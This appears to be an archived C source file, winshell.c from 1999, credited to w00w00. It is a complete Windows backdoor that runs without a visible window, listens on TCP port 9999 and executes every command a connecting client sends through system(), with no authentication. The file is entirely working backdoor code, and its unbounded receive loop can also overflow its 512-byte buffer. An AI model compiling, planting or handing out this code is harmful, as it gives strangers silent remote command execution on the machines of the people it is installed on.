home *** CD-ROM | disk | FTP | other *** search
- /*
- * With Cygnus Win32 (GNU Win32) compile with:
- * gcc -mwindows -mno-cygwin -o winshell winshell.c -lwsock32
- *
- * Copyright (C) March 1999, Matt Conover (Shok)
- * http://www.w00w00.org
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <winsock.h>
-
- #define BUFSIZE 512
-
- int main()
- {
- int retval;
- int socklen;
-
- char *pktptr, pktbuf[BUFSIZE];
-
- WSADATA wsaData;
- SOCKET serverfd, clientfd;
- SOCKADDR_IN serversin, clientsin;
-
- WSAStartup(MAKEWORD(1, 1), &wsaData);
-
- /* ------------------------------- */
-
- serverfd = socket(AF_INET, SOCK_STREAM, 0);
-
- memset(&serversin, 0, sizeof(serversin));
- serversin.sin_family = AF_INET;
- serversin.sin_port = htons(9999);
-
- (void)bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin));
- (void)listen(serverfd, 0);
-
- while(1)
- {
- socklen = sizeof(clientsin);
- clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);
-
- pktptr = pktbuf;
- memset(pktbuf, 0, sizeof(pktbuf));
-
- /* we do this one byte at a time because it's the easiest way */
- while(1)
- {
- retval = recv(clientfd, pktptr, 1, 0);
- if (retval == SOCKET_ERROR) break;
-
- if (isprint(*pktptr))
- {
- pktptr += 1;
- continue;
- }
-
- else *pktptr = '\0';
-
- system(pktbuf);
- memset(pktbuf, 0, sizeof(pktbuf)), pktptr = pktbuf;
- }
-
-
- closesocket(clientfd);
- }
-
- /* will never get here */
- return 0;
- }
-